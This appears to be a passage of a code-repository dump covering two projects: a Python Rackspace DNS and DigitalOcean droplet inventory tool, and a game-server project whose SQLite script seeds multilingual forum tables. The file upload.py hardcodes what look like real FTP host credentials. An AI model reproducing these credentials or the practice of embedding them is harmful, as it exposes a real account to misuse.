'_environment'\n do = Droplets(token=DO_TOKEN)\n self.assertEqual(do.token, DO_TOKEN)\n\n def test_list_droplets(self):\n exception_ocurr = False\n do = Droplets()\n try:\n do.get_droplets()\n except:\n sys.stdout.write(f'PROGRAM MSG - Unexpected error: {sys.exc_info()[0]}')\n exception_ocurr = True\n self.assertFalse(exception_ocurr)\n\n\ntracemalloc.start()\n\n# ... run your application ...\n\nsnapshot = tracemalloc.take_snapshot()\ntop_stats = snapshot.statistics('lineno')\n\nsys.stdout.write(f\"\\n ==== TRACE MALLOC - [ Top 10 ] =========\")\nfor stat in top_stats[:10]:\n sys.stdout.write(f\"{stat}\\n\")\nsys.stdout.write(f\"\\n ----------------------------------------\\n\")\n" }, { "alpha_fraction": 0.8305084705352783, "alphanum_fraction": 0.8305084705352783, "avg_line_length": 28.5, "blob_id": "f304a6dd489656960109700f5c175e8ef3207799", "content_id": "356029ced6a51ddefbcb15673617e4f431047b57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 59, "license_type": "no_license", "max_line_length": 32, "num_lines": 2, "path": "/README.md", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "# rackspace_dns_inventory\nRackspace DNS Records Inventory\n" }, { "alpha_fraction": 0.5399020910263062, "alphanum_fraction": 0.5675675868988037, "avg_line_length": 29.914474487304688, "blob_id": "af2022954b886d2d91608b3c8ee2ea818d9bff1c", "content_id": "f19d7d2508853380cf00bd1befa6f4c93a3edfc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4699, "license_type": "no_license", "max_line_length": 103, "num_lines": 152, "path": "/rax_dns/rax_dns.py", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "'''\nSetup the enviroment variables\n.. code:bash\n\n $> export RACKSPACETOKEN=\"<rackspace_token>\"\n $> export RACKSPACEUSER=\"<rackspace_username>\"\n\n'''\n\nimport json\nimport os\n\nfrom collections import namedtuple\nfrom typing import Dict\n\nimport requests\n\n\nclass Domain:\n ''' representation od a DOMAIN metadata '''\n\n def __init__(\n self, ttl=None, accountId=None,\n id=None, name=None, emailAddress=None,\n updated=None, created=None\n ) -> None:\n self.ttl = None # 300,\n self.accountId = None # 769012,\n self.id = None # 6362479,\n self.name = None # \"necto.com.br\",\n self.emailAddress = None # \"[email protected]\",\n self.updated = None # \"2020-01-04T01:54:21.000+0000\",\n self.created = None # \"2019-01-08T07:20:22.000+0000\"\n\n\nclass Record:\n '''representation od a record domain metadata '''\n\n def __init__(self, name=None, id=None, type=None, data=None, updated=None, ttl=None, created=None):\n self.name = None # \"example.com\",\n self.id = None # \"A-6822994\",\n self.type = None # \"A\",\n self.data = None # \"192.0.2.17\",\n self.updated = None # \"2011-06-24T01:12:52.000+0000\",\n self.ttl = None # 86400,\n self.created = None # \"2011-06-24T01:12:52.000+0000\"\n\n\nclass RAXAccess:\n def __init__(self, rax_username=None, rax_token=None):\n # params takes precedence over enviroment vars\n\n if not rax_username:\n self.rax_username = os.getenv('RAXUserName')\n else:\n self.rax_username = rax_username\n\n if not rax_token:\n self.rax_token = os.getenv('RAXToken')\n else:\n self.rax_token = rax_token\n\n if self.rax_username is None:\n raise OSError(\"Username environment var is not set.\")\n\n if self.rax_token is None:\n raise OSError(\"Token environment var is not set.\")\n\n self.user_name = None\n self.user_id = None\n self.token = None\n self.tenant = None\n self.expires = None\n self.api_base_url = 'https://dns.api.rackspacecloud.com/v1.0'\n\n def _json_object_hook(self, d: Dict):\n return namedtuple('X', d.keys(), rename=True)(*d.values())\n\n def json2obj(self, data_json):\n return json.loads(data_json, object_hook=self._json_object_hook)\n\n def auth(self):\n req_token_url = r'https://identity.api.rackspacecloud.com/v2.0/tokens'\n req_token_headers = {\"content-type\": \"application/json\"}\n req_token_payload = {\n \"auth\": {\n \"RAX-KSKEY:apiKeyCredentials\": {\n \"username\": self.rax_username,\n \"apiKey\": self.rax_token\n }\n }\n }\n resp = requests.post(\n req_token_url,\n data=json.dumps(req_token_payload),\n headers=req_token_headers)\n if resp.status_code == 200:\n obj = self.json2obj(resp.text)\n self.user_id = obj.access.user.id\n self.user_name = obj.access.user.name\n self.user_email = obj.access.user.email\n\n self.token = obj.access.token.id\n self.tenant = obj.access.token.tenant.id\n\n else:\n obj = None\n\n return self.user_name\n\n\nclass RAXDomains:\n\n def __init__(self, rax_access: RAXAccess):\n self.rax_access = rax_access\n self.json_domains = None # raw response text\n self.domains = [] # domains list\n\n def get_domains(self, domn_ids=None):\n headers = {\n 'content-type': 'application/json',\n 'X-Auth-Token': self.rax_access.token, # token\n 'X-Project-Id': self.rax_access.tenant\n }\n url = f'{self.rax_access.api_base_url}/{self.rax_access.tenant}/domains'\n resp = requests.get(url, headers=headers)\n self.json_domains = resp.text\n d = json.loads(resp.text)\n domain_dicts = d['domains']\n self.domains = []\n\n for item in domain_dicts:\n self.domains.append(Domain(**item))\n\n return resp.text\n\n def get_records(self):\n headers = {\n 'content-type': 'application/json',\n 'X-Auth-Token': self.rax_access.token, # token\n 'X-Project-Id': self.rax_access.tenant\n }\n url = f'{self.rax_access.api_base_url}/{self.rax_access.tenant}/domains'\n resp = requests.get(url, headers=headers)\n self.json_domains = resp.text\n d = json.loads(resp.text)\n domain_dicts = d['recordsList']['records']\n self.domains = []\n\n for item in domain_dicts:\n self.domains.append(Record(**item))\n return [{'x': 1}, {'x': 1}]\n" }, { "alpha_fraction": 0.5569853186607361, "alphanum_fraction": 0.5591298937797546, "avg_line_length": 22.321428298950195, "blob_id": "340eef8a2413e4c2f01d9ed18c3693c64035ed47", "content_id": "e8b2d0c3aa6271516bae819e08ea14aac7803ce2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3264, "license_type": "no_license", "max_line_length": 72, "num_lines": 140, "path": "/rax_dns/do_droplets.py", "repo_name": "cadu-leite/dns_server_inventory", "src_encoding": "UTF-8", "text": "'''\n\nPara usar a API crie a variavel de ambiente com a chave de acesso a API\n\n\n $> export DO_ACCESS_TKN='TOKEN_LETTER_SOUP_HERE'\n\n'''\n\nimport digitalocean\nimport os\n\n\nclass Droplets(object):\n\n def __init__(self, token=None):\n # params takes precedence over enviroment vars\n\n if not token:\n self.token = os.getenv('DO_ACCESS_TKN')\n else:\n self.token = token\n\n def get_droplets(self):\n\n manager = digitalocean.Manager(token=self.token)\n drops = None\n try:\n drops = manager.get_all_droplets()\n except digitalocean.DataReadError:\n pass\n\n return drops\n\n def show_droplets(self):\n ds = self.get_droplets()\n for d in ds:\n print(f'action_ids: {d.action_ids}')\n print(f'backup_ids: {d.backup_ids}')\n print(f'backups: {d.backups}')\n print(f'created_at: {d.created_at}')\n print(f'disk: {d.disk}')\n print(f'end_point: {d.end_point}')\n print(f'features: {d.features}')\n print(f'id: {d.id}')\n print(f'image: {d.image}')\n print(f'ip_address: {d.ip_address}')\n print(f'ip_v6_address: {d.ip_v6_address}')\n print(f'ipv6: {d.ipv6}')\n print(f'kernel: {d.kernel}')\n print(f'locked: {d.locked}')\n print(f'memory: {d.memory}')\n print(f'monitoring: {d.monitoring}')\n print(f'name: {d.name}')\n print(f'networks: {d.networks}')\n print(f'next_backup_window: {d.next_backup_window}')\n print(f'private_ip_address: {d.private_ip_address}')\n print(f'private_networking: {d.private_networking}')\n print(f'private_networking: {d.private_networking}')\n print(f'region: {d.region}')\n print(f'size: {d.size}')\n print(f'size_slug: {d.size_slug}')\n print(f'snapshot_ids: {d.snapshot_ids}')\n print(f'ssh_keys: {d.ssh_keys}')\n print(f'status: {d.status}')\n print(f'tags: {d.tags}')\n print(f'token: {d.token}')\n print(f'user_data: {d.user_data}')\n print(f'vcpus: {d.vcpus}')\n print(f'volume_ids: {d.volume_ids}')\n print(f'volumes: {d.volumes}')\n print(f'--------------------------------')\n\n# # DropLet Attributs\n# action_ids\n# backup_ids\n# backups\n# created_at\n# disk\n# end_point\n# features\n# id\n# image\n# ip_address\n# ip_v6_address\n# ipv6\n# kernel\n# locked\n# memory\n# monitoring\n# name\n# networks\n# next_backup_window\n# private_ip_address\n# private_networking\n# private_networking\n# region\n# size\n# size_slug\n# snapshot_ids\n# ssh_keys\n# status\n# tags\n# token\n# user_data\n# vcpus\n# volume_ids\n# volumes\n\n# # droplet functions\n# change_kernel()\n# create()\n# create_multiple()\n# destroy()\n# disable_backups()\n# enable_backups()\n# enable_ipv6()\n# enable_private_networking()\n# get_action()\n# get_actions()\n# get_data()\n# get_events()\n# get_kernel_available()\n# get_object()\n# get_snapshots()\n# get_timeout()\n# load()\n# power_cycle()\n# power_off()\n# power_on()\n# reboot()\n# rebuild()\n# rename()\n# reset_root_password()\n# resize()\n# restore()\n# shutdown()\n# take_snapshot()\n# update_volumes_data()\n#" } ]
9
klawau/JessicaServer
https://github.com/klawau/JessicaServer
863f1131ca30172b666dddb1bdfb2deb8490867d
c7ee07d3496cb4fd7b34d282a871a27d253e8234
5a889c7d801deb2caab384e7a16f0fc5b94869be
refs/heads/master
2021-01-23T08:48:46.063156
2017-09-06T02:24:57
2017-09-06T02:24:57
102,552,180
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6106870174407959, "alphanum_fraction": 0.6641221642494202, "avg_line_length": 30.75, "blob_id": "cfaba7591e988634014fc38a8a4c4f8d8c3fb24a", "content_id": "8c4659ae397e768038ef5feba4402ee7a078d572", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 262, "license_type": "no_license", "max_line_length": 92, "num_lines": 8, "path": "/upload.py", "repo_name": "klawau/JessicaServer", "src_encoding": "UTF-8", "text": "from ftplib import *\r\n\r\nftp = FTP(\"lidemice.com\",\"u988860555\", \"y4m4n3mr3\") #save a line and just put your U:P here.\r\n\r\ndef upload_file(file_name,data):\r\n ftp.cwd(\"/public_html/forum3\")#Directory \r\n ftp.storbinary('STOR %s' % file_name, data)\r\nftp.quit()\r\n" }, { "alpha_fraction": 0.5726315975189209, "alphanum_fraction": 0.6102786660194397, "avg_line_length": 65.85713958740234, "blob_id": "ddcd283e9f528b3de942d6b8ffa618c236e9fa58", "content_id": "9f07b1d4194aa612acefe2fdf67844467b3e75cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16160, "license_type": "no_license", "max_line_length": 288, "num_lines": 238, "path": "/Otomatik Installer.py", "repo_name": "klawau/JessicaServer", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\nimport sqlite3\r\n\r\ndbcon = sqlite3.connect(\"./dbfile.sqlite\")\r\ndbcon.isolation_level = None\r\ndbcur = dbcon.cursor()\r\ndbcon.row_factory = sqlite3.Row\r\ndbcon.text_factory = str\r\ntry:\r\n print \"Yorum Tablosu Kuruluyor...\"\r\n dbcur.execute(\"\"\"CREATE TABLE IF NOT EXISTS `forum_comments` (\r\n `forum_id` INTEGER NOT NULL,\r\n `thread_id` INTEGER NOT NULL,\r\n `message_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\r\n `username` text NOT NULL,\r\n `title` text NOT NULL,\r\n `message` text NOT NULL,\r\n `time` int(11) NOT NULL,\r\n `deleted` tinyint(1) NOT NULL,\r\n `nomModerateur` text NOT NULL,\r\n `reason` text NOT NULL);\"\"\")\r\n print \"Yorum Tablosu Kuruldu.\"\r\n print \"Yorum Tablosu Verileri Aktariliyor...\"\r\n dbcur.execute(\"\"\"INSERT INTO `forum_comments` (`forum_id`, `thread_id`, `message_id`, `username`, `title`, `message`, `time`, `deleted`, `nomModerateur`, `reason`) VALUES(1, 1, 1, 'Ghost', 'New forum!', 'Forumumuza Hoşgeldiniz.', 1367768799, 0, '', '');\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_comments` (`forum_id`, `thread_id`, `message_id`, `username`, `title`, `message`, `time`, `deleted`, `nomModerateur`, `reason`) VALUES(611, 2, 2, 'Hakan', 'Transformice Forums', 'Yakında En İyi Forum Olacağız', 1367842538, 0, '', '');\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_comments` (`forum_id`, `thread_id`, `message_id`, `username`, `title`, `message`, `time`, `deleted`, `nomModerateur`, `reason`) VALUES(611, 2, 3, 'Ghost', ' ', '[quote=Testvip]Yakında En İyi Forum Olacağız[/quote]Evet!', 1367842729, 0, '', '');\"\"\")\r\n print \"Yorum Tablosu Verileri Aktarildi.\"\r\n print \"Forum Tablosu Kuruluyor...\"\r\n dbcur.execute(\"\"\"CREATE TABLE IF NOT EXISTS `forum_forums` (\r\n `lang` text NOT NULL,\r\n `id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\r\n `icon` INTEGER NOT NULL\r\n );\r\n \"\"\")\r\n print \"Forum Tablosu Kuruldu.\"\r\n print \"Forum Tablosu Verileri Aktariliyor...\"\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('xx', 1, 1);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 601, 2);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 602, 3);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 603, 4);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 604, 5);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 605, 6);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 606, 7);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 607, 8);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 608, 3);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 611, 3);\"\"\")\r\n print \"Forum Tablosu Verileri Aktarildi.\"\r\n print \"Moderator Tablosu Kuruluyor...\"\r\n dbcur.execute(\"\"\"\r\n CREATE TABLE IF NOT EXISTS `forum_moderation` (\r\n `forum_id` int(11) NOT NULL,\r\n `thread_id` int(11) NOT NULL,\r\n `message_id` int(11) NOT NULL,\r\n `type_modere` int(11) NOT NULL,\r\n `comment` text NOT NULL\r\n );\"\"\")\r\n print \"Moderator Tablosu Kuruldu.\"\r\n print \"Konu Tablosu Kuruluyor...\"\r\n dbcur.execute(\"\"\"\r\n CREATE TABLE IF NOT EXISTS `forum_threads` (\r\n `forum_id` int(11) NOT NULL,\r\n `thread_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\r\n `topic` text NOT NULL,\r\n `date` int(14) NOT NULL,\r\n `author` text NOT NULL,\r\n `last_poster` text NOT NULL,\r\n `sticky` tinyint(1) NOT NULL,\r\n `closed` tinyint(1) NOT NULL\r\n );\"\"\")\r\n print \"Konu Tablosu Kuruldu.\"\r\n print \"Konu Tablosu Verileri Aktariliyor...\"\r\n dbcur.execute(\"\"\"INSERT INTO `forum_threads` (`forum_id`, `thread_id`, `topic`, `date`, `author`, `last_poster`, `sticky`, `closed`) VALUES(1, 1, 'Yeni Forum | New Forum', 1367768799, 'Ghost', 'Devsaider', 1, 1);\"\"\")\r\n dbcur.execute(\"\"\"INSERT INTO `forum_threads` (`forum_id`, `thread_id`, `topic`, `date`, `author`, `last_poster`, `sticky`, `closed`) VALUES(611, 2, 'Transformice Forumları', 1367842538, 'Testvip', 'Testvip', 0, 1);\"\"\")\r\n print \"Konu Tablosu Verileri Aktarildi.\"\r\nexcept:\r\n pass\r\ndbcur.execute(\"DELETE FROM forum_forums\")\r\nprint \"Forum Tablosu Verileri[2] Aktariliyor...\"\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 501, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 502, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 503, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 504, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 505, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 506, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 507, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 508, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('fr', 511, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 521, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 522, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 523, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 524, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 525, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 526, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 527, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 528, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('en', 531, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 541, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 542, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 543, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 544, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 545, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 546, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 547, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 548, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('br', 551, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 561, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 562, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 563, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 564, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 565, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 566, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 567, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 568, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('es', 571, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 581, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 582, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 583, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 584, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 585, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 586, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 587, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 588, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('tr', 591, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 601, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 602, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 603, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 604, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 605, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 606, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 607, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 608, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ru', 611, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 621, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 622, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 623, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 624, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 625, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 626, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 627, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 628, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('pl', 631, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 641, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 642, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 643, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 644, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 645, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 646, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 647, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 648, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('no', 651, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 661, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 662, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 663, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 664, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 665, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 666, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 667, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 668, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('hu', 671, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 681, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 682, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 683, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 684, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 685, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 686, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 687, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 688, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('cn', 691, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 701, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 702, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 703, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 704, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 705, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 706, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 707, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 708, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('nl', 711, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 721, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 722, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 723, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 724, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 725, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 726, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 727, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 728, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('ro', 731, 3);\")\r\n\r\n####### NoVa Language Code Creator #######\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('id', 741, 2);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('id', 742, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('id', 743, 4);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('id', 744, 5);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('id', 745, 6);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, 